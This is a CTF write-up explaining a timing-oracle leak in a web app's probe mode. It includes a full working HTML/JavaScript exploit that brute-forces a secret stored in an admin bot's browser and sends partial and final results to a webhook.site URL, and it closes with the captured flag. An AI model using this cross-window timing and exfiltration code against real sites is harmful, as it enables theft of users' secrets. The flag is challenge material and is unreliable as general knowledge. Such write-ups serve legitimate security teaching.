Summary
This challenge shipped a public web app and an admin bot that visited attacker-controlled URLs. The bot loaded a sealed note containing the flag into localStorage["svfgp.notes.v1"], then spent time on the supplied page before returning to the challenge flow.
The actual weakness was not in the storage layer but in the probe mode. The app compared a user-controlled prefix against the secret and exposed a measurable delay whenever the prefix matched. That made the flag recoverable one character at a time.
Analysis
The most important behavior was in mode=probe. The frontend took the q parameter, loaded the secret from localStorage, and tested secret.startsWith(candidate). When the prefix was wrong, the response was quick. When it was correct, the app entered a much slower PBKDF2 path before posting a completion message back to the opener window.
That made this a classic timing oracle:
- wrong prefix, fast return
- correct prefix, slow return
- repeat until the full flag is reconstructed

Exploitation
The exploit was a small HTML page served over HTTPS and sent to the bot. The page opened the challenge URL in a popup, measured the time between navigation and the svfgp-probe-done message, and selected the character that produced the largest median delay.
Core payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<!doctype html>
<meta charset="utf-8">
<body>running...</body>
<script>
const TARGET = "https://svfgp.breakable.live/";
const EXFIL = "https://webhook.site/REPLACE_ME";
const CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_}";
let prefix = new URL(location.href).searchParams.get("pref") || "CTF{";
const PROBE_TIMEOUT = 14000;
function median(a) {
const s = [...a].sort((x, y) => x - y);
return s[(s.length / 2) | 0];
}
function exfil(x) {
document.body.textContent = x;
fetch(EXFIL + "?d=" + encodeURIComponent(x), { mode: "no-cors", keepalive: true }).catch(() => {});
}
let w = window.open("about:blank", "probe");
const pending = new Map();
window.addEventListener("message", e => {
const d = e.data || {};
if (d.type !== "svfgp-probe-done") return;
const k = d.sid + ":" + d.rid;
const p = pending.get(k);
if (!p) return;
pending.delete(k);
p.resolve(performance.now() - p.t0);
});
function probe(candidate) {
return new Promise(resolve => {
const sid = Math.random().toString(36).slice(2);
const rid = Math.random().toString(36).slice(2);
const k = sid + ":" + rid;
pending.set(k, { resolve, t0: performance.now() });
if (!w || w.closed) w = window.open("about:blank", "probe");
w.location = `${TARGET}?mode=probe&q=${encodeURIComponent(candidate)}&sid=${sid}&rid=${rid}`;
setTimeout(() => {
if (!pending.has(k)) return;
pending.delete(k);
resolve(PROBE_TIMEOUT);
}, PROBE_TIMEOUT);
});
}
async function sample(candidate, n = 3) {
const t = [];
for (let i = 0; i < n; i++) t.push(await probe(candidate));
return median(t);
}
(async () => {
exfil("START:" + prefix);
while (!prefix.endsWith("}")) {
let best = null;
for (const ch of CHARSET) {
const score = await sample(prefix + ch, 2);
if (!best || score > best.score) best = { ch, score };
}
prefix += best.ch;
exfil("PARTIAL:" + prefix);
}
exfil("FLAG:" + prefix);
})();
</script>
The workflow was:
- host the page on a public HTTPS URL
- send the bot the URL
- watch the webhook for
PARTIAL:updates - continue the attack using
?pref=if the bot timeout interrupted the run
Flag
CTF{1390e7327d4c2069a97e3a7f1eafed37e389f9fb9598b183455dc9f6cc2da658}